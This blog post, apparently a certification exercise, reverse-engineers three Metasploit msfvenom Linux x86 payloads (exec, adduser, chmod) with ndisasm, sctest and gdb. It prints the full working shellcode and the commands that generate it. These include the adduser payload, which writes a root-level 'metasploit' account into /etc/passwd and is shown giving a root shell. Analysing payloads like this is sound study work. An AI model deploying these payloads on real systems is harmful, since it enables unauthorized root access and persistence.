Analysing Msfvenom Payloads

19 minute read

This post provides an analysis of three different payloads generated using msfvenom that target the Linux x86 platform:

  • linux/x86/exec
  • linux/x86/adduser
  • linux/x86/chmod

To do this, I will be using a combination of ndisasm, gdb and the sctest utility found within the libemu2 package.

When using ndisasm and sctest, you will see that the n and e options of echo are used when piping the shellcode to them. This is to ensure that no new lines are added to the end of the shellcode, and to make echo interpret the backslashes as escape sequences. Without these two options, the shellcode when not be interpreted correctly.

The ndisasm tool is used to reverse a series of bytes into the equivalent assembly code. Throughout these examples, the Intel syntax will be used.

The sctest tool is used to emulate and provide human readable output of what the code is doing. For example, if a system call is made, sctest is capable of displaying what the human readable name was, as opposed to the system call number, as well as what values were passed as arguments.

When gdb is used to step through the executing payload, the executable was created by taking the shellcode generated by msfvenom and placing it in the C application used throughout this series of posts Found Here.

Analysis of linux/x86/exec

The linux/x86/exec payload allows users to specify a command in the CMD option which will be executed with the payload. For this example, I specified whoami as the command:

$ msfvenom -p linux/x86/exec CMD=whoami -f c         
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes
Final size of c file: 201 bytes
unsigned char buf[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";

By testing this shellcode with sctest, we can see that the execution of whoami is being achieved by using the execve method:

$ echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80" | sctest -v -Ss 100000
verbose = 1
execve
int execve (const char *dateiname=00416fc0={/bin/sh}, const char * argv[], const char *envp[]);
cpu error error accessing 0x00000004 not mapped

stepcount 15
int execve (
     const char * dateiname = 0x00416fc0 =>
           = "/bin/sh";
     const char * argv[] = [
           = 0x00416fb0 =>
               = 0x00416fc0 =>
                   = "/bin/sh";
           = 0x00416fb4 =>
               = 0x00416fc8 =>
                   = "-c";
           = 0x00416fb8 =>
               = 0x0041701d =>
                   = "whoami";
           = 0x00000000 =>
             none;
     ];
     const char * envp[] = 0x00000000 =>
         none;
) =  0;

When looking at the disassembly of the payload, however, the code looks quite different to what has been seen in my previous posts which use execve:

$ echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -p intel -
00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80

In the shellcode I have previously created, I used the xor instruction to zero out registers. The msfvenom shellcode uses a very interesting alternative, and one which reduces the amount of shellcode required.

Initially, 0xb is pushed on to the stack and then popped into $eax; this is the syscall number for execve.

After doing this, it calls the cdq instruction. The cdq instruction extends the sign bit of the $eax register into the $edx register. As the sign bit is only set if the value is negative, this means the sign bit is 0, and thus fills $edx with 0.

The reason this is required, is that the value in $edx is used as the third parameter of execve, which as can be seen from the sctest output, is set to 0.

Next, the null byte stored in $edx is pushed on to the stack, followed by 0x632d. Converting this value to a string in Python reveals that this is the 2nd value in the argv array:

$ python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "\x2d\x63"
'-c'

The reason that $edx is pushed on to the stack ahead of -c is because all strings must be terminated with null bytes.

The -c option of sh indicates what command it should run, as opposed to reading from stdin as per the man page:

Read commands from the command_string operand instead of from the standard input. Special parameter 0 will be set from the command_name operand and the positional parameters ($1, $2, etc.) set from the remaining argument operands.

After pushing the -c argument, 0x68732f and 0x6e69622f are pushed on to the stack, which together equate to /bin/sh:

>>> "\x2F\x73\x68"
'/sh'
>>> "\x2F\x62\x69\x6E"
'/bin'

After this, the stack pointer ($esp) is then stored in $ebx (i.e. the first argument of execve) followed by the null byte in $edx being pushed on to the stack once more to terminate the string.

Looking back to the call mapping from sctest, we can see that the /bin/sh passed as the first argument, and the /bin/sh passed as the first item of the argv parameter both reside in the same place in memory (0x00416fc0):

const char * dateiname = 0x00416fc0 =>
      = "/bin/sh";
const char * argv[] = [
      = 0x00416fb0 =>
          = 0x00416fc0 =>
              = "/bin/sh";

This means that it will be the starting point for the second argument as well as the first.

Once /bin/sh is stored on the stack and by proxy in $ebx, a variation of the CALL-POP method is used at 00000018:

00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80

When the call instruction is used, the address of the instruction that directly proceeds it is pushed on to the stack. As the bytes that follow it are actually data, rather than instructions that are to be executed, this results in usable data being on the stack without the need to push it manually.

The instructions found at the offset that is being called are \x57\x53\x89\xe1. This isn’t displayed properly in ndisasm, as there is data before it that is defined in place, but running these bytes through ndisasm on their own shows that it is pushing the value previously stored in $edi (-c) onto the stack, followed by the value in $ebx (/bin/sh) and then moving the stack pointer into $ecx:

$ echo -ne "\x57\x53\x89\xe1" | ndisasm -b 32 -p intel -
00000000  57                push edi
00000001  53                push ebx
00000002  89E1              mov ecx,esp

Examining the bytes between the call instruction and the mov into $ecx shows that the value that was pushed on to the stack is the whoami command that is to be executed:

$ python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34)
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> "\x77\x68\x6f\x61\x6d\x69"
'whoami'

At this point, all the required arguments are in the appropriate registers and the call to execve can be invoked by executing int 0x80.

To verify this, I stepped through the shellcode in gdb. As can be seen in the output below, all the arguments are in the correct places:

[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xffffc9de ("/bin/sh")
ECX: 0xffffc9ce --> 0xffffc9de ("/bin/sh")
EDX: 0x0
ESI: 0xf7fa5000 --> 0x1d7d6c
EDI: 0xffffc9e6 --> 0x632d ('-c')
EBP: 0xffffca28 --> 0x0
ESP: 0xffffc9ce --> 0xffffc9de ("/bin/sh")
EIP: 0xffffca19 --> 0xf10080cd
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xffffca11:	popa   
   0xffffca12:	ins    DWORD PTR es:[edi],dx
   0xffffca13:	imul   eax,DWORD PTR [eax],0xe1895357
=> 0xffffca19:	int    0x80
   0xffffca1b:	add    cl,dh
   0xffffca1d:	leave  
   0xffffca1e:	(bad)  
   0xffffca1f:	inc    DWORD PTR [eax-0x36]
[------------------------------------stack-------------------------------------]
0000| 0xffffc9ce --> 0xffffc9de ("/bin/sh")
0004| 0xffffc9d2 --> 0xffffc9e6 --> 0x632d ('-c')
0008| 0xffffc9d6 --> 0xffffca0e ("whoami")
0012| 0xffffc9da --> 0x0
0016| 0xffffc9de ("/bin/sh")
0020| 0xffffc9e2 --> 0x68732f ('/sh')
0024| 0xffffc9e6 --> 0x632d ('-c')
0028| 0xffffc9ea --> 0x56060000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xffffca19

And when executed, successfully calls whoami:

$ ./test
Shellcode length: 15
rastating

Analysis of linux/x86/adduser

The linux/x86/adduser payload creates a new user on the system. By default, the username and password for the new user are both metasploit and the default shell is sh.

As the defaults for the payload are acceptable, I did not override them when generating the payload:

$ msfvenom -p linux/x86/adduser -f c          
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] =
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

Testing the shellcode with sctest didn’t reveal any system calls, even with a higher level of verbosity:

$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | sctest -vvvv -Ss 100000
verbose = 4
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417000
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags:
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417000
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags:
[emu 0x0x56414d48e740 debug ] 31C9                            xor ecx,ecx
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417002
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF
[emu 0x0x56414d48e740 debug ] 89CB                            mov ebx,ecx
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417004
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF
[emu 0x0x56414d48e740 debug ] 6A46                            push byte 0x46
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417006
[emu 0x0x56414d48e740 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF
[emu 0x0x56414d48e740 debug ] 58                              pop eax
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417007
[emu 0x0x56414d48e740 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF
[emu 0x0x56414d48e740 debug ] CD80                            int 0x80
stepcount 4
[emu 0x0x56414d48e740 debug ] cpu state    eip=0x00417009
[emu 0x0x56414d48e740 debug ] eax=0x00000046  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x56414d48e740 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x56414d48e740 debug ] Flags: PF ZF

Processing the shellcode through ndisasm produces quite a lot more code than the previous example:

$ echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

The first task the payload carries out is setting the real and effective user ID of the process to be the root user. The first instruction XORs $ecx with itself, resulting in 0 being stored in the register.

It then moves $ecx into $ebx (i.e. setting the first and second parameters of the method to be called to 0).

After setting up the parameters, 0x46 is then pushed on to the stack and popped into $eax. By converting the value to an integer and cross-referencing it with unistd_32.h, we can see that the call being made is setreuid:

$ python -c "print int(0x46)"
70
$ grep " 70" /usr/include/x86_64-linux-gnu/asm/unistd_32.h
#define __NR_setreuid 70

As a normal user does not have the permission to create new users on the system, the call to setreuid is most likely in place to accommodate for scenarios where a process is not running as root but is capable of doing so (for example when the suid bit is set on an executable).

Once the EUID/UID has been set to 0, 0x5 is then pushed on to the stack and popped into $eax in preparation for another syscall. Again, cross referencing with unistd_32.h confirmed the call being made; this time it is to open.

After setting up the syscall number, $ecx is cleared using the xor instruction and pushed on to the stack to act as the null terminator for the string that is being specified for the pathname parameter.

The value that is pushed on to the stack consists of three dwords:

  • 0x64777373
  • 0x61702f2f
  • 0x6374652f

When converted to ASCII, these values equate to /etc//passwd:

$ print -c "print '\x2F\x65\x74\x63\x2F\x2F\x70\x61\x73\x73\x77\x64'"
print '/etc//passwd'

The addition of an extra forward slash is a technique used frequently when shellcoding as to avoid null bytes being used when working with paths. By adding the extra slash, the full path can take up exactly 3 dwords, as opposed to 11 bytes for the path and one null byte to fill the remaining gap.

As far as Linux is concerned, /etc/passwd is equal to /etc//passwd and it will be opened as if only one slash had been specified.

Once these values are pushed on to the stack, $ebx is then set to point to the current stack pointer.

Next, $ecx is incremented with the inc instruction - which brings its value up to 1. The higher byte of the lower 16 bits ($ch) is then set to 0x4, giving the $ecx register as a whole the value of 0x401 which in decimal is 1025.

The flags argument can define multiple flags by using bitwise operations. One of the mandatory things that needs to be set in the flags argument is the access mode, as per the man page:

The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR.

These request opening the file read-only, write-only, or read/write, respectively.

By grepping the /usr/include directory for one of the flags mentioned in the man page, the definitions for them can all be found within /usr/include/asm-generic/fcntl.h.

The O_WRONLY access flag is defined as 00000001, which we know is set due to 1 being present in the lowest byte of $ecx - which makes logical sense, as the file will need to be opened for write access to modify it.

As the decimal value of $ecx is 1025 and we know that the first bit is set, there can only be a single flag that is set, and it has the decimal value of 1024.

Bitwise flags work by setting individual bits in a binary value. So, if we visualise how the value 1025 is constructed in binary, we can see that it consists of two 1s - one in the right most column, and one in the column that represents a unit of 1024 - there is no other combination of bits possible to reach the value of 1025:

+------+-----+-----+-----+----+----+----+----+---+---+---+---+
| 1024 | 512 | 256 | 128 | 96 | 48 | 24 | 16 | 8 | 4 | 2 | 1 |
+------+-----+-----+-----+----+----+----+----+---+---+---+---+
| 1    | 0   | 0   | 0   | 0  | 0  | 0  | 0  | 0 | 0 | 0 | 1 |
+------+-----+-----+-----+----+----+----+----+---+---+---+---+

Continuing to analyse fcntl.h, we can see that O_APPEND is defined as 00002000 in octal. In decimal, this value is 1024:

$ python -c "print int('2000', 8)"
1024

The man page explains that the O_APPEND has the following effect:

The file is opened in append mode. Before each write(2), the file offset is positioned at the end of the file, as if with lseek(2). The modification of the file offset and the write operation are performed as a single atomic step.

This makes sense in the context of what the payload needs to do. /etc/passwd contains one line per user, so the desired functionality would be to append a new line to the end of the file, rather than writing in the middle of it or overwriting it altogether.

After invoking the call with int 0x80, the return value is stored in $eax, which is the file descriptor that can be used to access the file, which is then moved into $ebx.

Now that the file is open for writing, the same CALL-POP method is used as was seen in the previous example to define string data and pop it into a register. The call instruction jumps to \x59\x8b\x51\xfc which pops into $ecx and moves the value at $ecx-4 into $edx:

$ echo -ne "\x59\x8B\x51\xFC" | ndisasm -b 32 -p intel -
00000000  59                pop ecx
00000001  8B51FC            mov edx,[ecx-0x4]

The value pushed into $ecx can be revealed by echoing the bytes that are defined in place:

$ echo -e "\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a"
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

As can be seen, this reflects the default options that were specified and is a valid entry for the passwd file.

After this is popped into $ecx, as mentioned above, $ecx-4 is moved into $edx. After the call instruction, the value 0x28 is defined, which can be found 4 bytes before the address that was pushed on to the stack as the return address; which can be seen if inspecting in gdb during execution:

gdb-peda$ x/4xw $ecx-4
0xbffff651:	0x00000028	0x6174656d	0x6f6c7073	0x413a7469

The value 0x28 is equal to 40 in decimal, which is the number of characters contained in the string that we wish to write to /etc/passwd.

After the arguments are defined, 0x4 is pushed on to the stack and popped into $eax, which is the syscall for write and it is then invoked with int 0x80.

The man page for write states:

On success, the number of bytes written is returned (zero indicates nothing was written).

And upon inspection of the $eax register after the syscall is invoked, we can see the return value is indeed 0x28, indicating a successful execution:

[----------------------------------registers-----------------------------------]
EAX: 0x28 ('(')
EBX: 0x3
ECX: 0xbffff655 ("metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x28 ('(')
ESI: 0x401fd4 --> 0x1edc
EDI: 0xbffff68c --> 0xbffff62a --> 0xcb89c931
EBP: 0xbffff6a8 --> 0x0
ESP: 0xbffff5fc ("/etc//passwd")
EIP: 0xbffff686 --> 0xcd58016a
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xbffff681:	push   0x4
   0xbffff683:	pop    eax
   0xbffff684:	int    0x80
=> 0xbffff686:	push   0x1
   0xbffff688:	pop    eax
   0xbffff689:	int    0x80
   0xbffff68b:	add    BYTE PTR [edx],ch
   0xbffff68d:	idiv   bh
[------------------------------------stack-------------------------------------]
0000| 0xbffff5fc ("/etc//passwd")
0004| 0xbffff600 ("//passwd")
0008| 0xbffff604 ("sswd")
0012| 0xbffff608 --> 0x0
0016| 0xbffff60c --> 0x4005ea (<main+157>:	mov    eax,0x0)
0020| 0xbffff610 --> 0x6f27a329
0024| 0xbffff614 --> 0xa1
0028| 0xbffff618 --> 0xb7ea8339 (<intel_check_word+9>:	add    esi,0x121cc7)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xbffff686 in ?? ()
gdb-peda$

Lastly, 0x1 is pushed and popped into $eax and called with int 0x80 to cleanly exit the process.

Upon inspection of /etc/passwd after the shellcode exits, we can see the user account was created:

# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

*** excess content redacted ***

sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

Switching to the metasploit user also works and provides a root shell:

$ su metasploit
Password:
# whoami
root
#

Analysis of linux/x86/chmod

For the purpose of testing this payload, I set the FILE option to /tmp/slae and the mode to be applied as 0777:

$ msfvenom -p linux/x86/chmod FILE=/tmp/slae MODE=0777 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 34 bytes
Final size of c file: 169 bytes
unsigned char buf[] =
"\x99\x6a\x0f\x58\x52\xe8\x0a\x00\x00\x00\x2f\x74\x6d\x70\x2f"
"\x73\x6c\x61\x65\x00\x5b\x68\xff\x01\x00\x00\x59\xcd\x80\x6a"
"\x01\x58\xcd\x80";

As the file needs to exist, I created it with a mode of 0644:

$ touch /tmp/slae
$ chmod /tmp/slae 0644
$ ls -l /tmp/slae
-rw-r--r-- 1 rastating rastating 0 Sep 17 15:55 /tmp/slae

Processing the shellcode with ndisasm shows that the payload does not contain a vast amount of instructions:

$ echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0a\x00\x00\x00\x2f\x74\x6d\x70\x2f\x73\x6c\x61\x65\x00\x5b\x68\xff\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80A000000        call 0x14
0000000A  2F                das
0000000B  746D              jz 0x7a
0000000D  702F              jo 0x3e
0000000F  736C              jnc 0x7d
00000011  61                popa
00000012  65005B68          add [gs:ebx+0x68],bl
00000016  FF01              inc dword [ecx]
00000018  0000              add [eax],al
0000001A  59                pop ecx
0000001B  CD80              int 0x80
0000001D  6A01              push byte +0x1
0000001F  58                pop eax
00000020  CD80              int 0x80

The first instruction is cdq which will extend the sign bit of the $eax register into $edx - effectively setting $edx to 0.

After clearing the $edx register, 0xf is pushed on to the stack and popped into $eax. Cross referencing this value with unistd_32.h shows that it is the syscall number for the chmod method:

$ python -c "print int(0xf)"
15

$ grep " 15$" /usr/include/x86_64-linux-gnu/asm/unistd_32.h
#define __NR_chmod 15

Next, $edx is pushed on to the stack to terminate the string that is subsequently pushed on to the stack using the CALL-POP method seen in the previous examples. Printing the byte sequence that appears between the call instruction and the location being jumped to, reveals that the bytes contain the path specified for the FILE option:

$ python -c "print '\x2f\x74\x6d\x70\x2f\x73\x6c\x61\x65\x00'"
/tmp/slae

This can also be confirmed whilst stepping through the payload in gdb:

[----------------------------------registers-----------------------------------]
EAX: 0xf
EBX: 0x56556fd4 --> 0x1edc
ECX: 0x0
EDX: 0xffffffff
ESI: 0xf7fa5000 --> 0x1d7d6c
EDI: 0x0
EBP: 0xffffca28 --> 0x0
ESP: 0xffffc9a0 --> 0xffffca03 ("/tmp/slae")
EIP: 0xffffca0d --> 0x1ff685b
EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xffffca0d:	pop    ebx
   0xffffca0e:	push   0x1ff
   0xffffca13:	pop    ecx
   0xffffca14:	int    0x80
[------------------------------------stack-------------------------------------]
0000| 0xffffc9a0 --> 0xffffca03 ("/tmp/slae")
0004| 0xffffc9a4 --> 0xffffffff
0008| 0xffffc9a8 --> 0x565555f4 (<main+167>:	mov    eax,0x0)
0012| 0xffffc9ac --> 0x56556fd4 --> 0x1edc
0016| 0xffffc9b0 --> 0xf7fa5000 --> 0x1d7d6c
0020| 0xffffc9b4 --> 0x0
0024| 0xffffc9b8 --> 0xffffca28 --> 0x0
0028| 0xffffc9bc --> 0xf7e1e2f6 (<printf+38>:	add    esp,0x1c)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xffffca0d in ?? ()
gdb-peda$

After /tmp/slae is pushed on to the stack, it is then popped into the $ebx register for use as the path argument of the call to chmod.

Lastly, the mode argument is configured by pushing the value 0x1ff on to the stack and popping it into $ecx. To verify this is correct, we can convert the hexadecimal value into octal, and see that it is indeed 0777 as was specified when creating the payload:

$ python -c "print oct(int(0x1ff))"
0777

After calling chmod, 0x1 is then pushed on to the stack and popped into $eax in order to call the exit syscall, to exit the program cleanly.

Running the compiled shellcode using strace confirms that the the syscall was invoked with the values interpretted from the shellcode and gdb output above:

$ strace ./test

*** excess output removed ***

write(1, "Shellcode length: 7\n", 20Shellcode length: 7
)   = 20
chmod("/tmp/slae", 0777)                = 0
exit(-2497565)                          = ?
+++ exited with 227 +++

Lastly, checking the permissions of /tmp/slae show the operation was successful:

$ stat /tmp/slae
  File: /tmp/slae
  Size: 0         	Blocks: 0          IO Block: 4096   regular empty file
Device: 10302h/66306d	Inode: 7735027     Links: 1
Access: (0777/-rwxrwxrwx)  Uid: ( 1000/rastating)   Gid: ( 1000/rastating)
Access: 2018-09-17 15:55:13.581844756 +0100
Modify: 2018-09-17 15:55:13.581844756 +0100
Change: 2018-09-17 16:21:26.173600289 +0100
 Birth: -

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Student ID: SLAE-1340

All source files can be found on GitHub at https://github.com/rastating/slae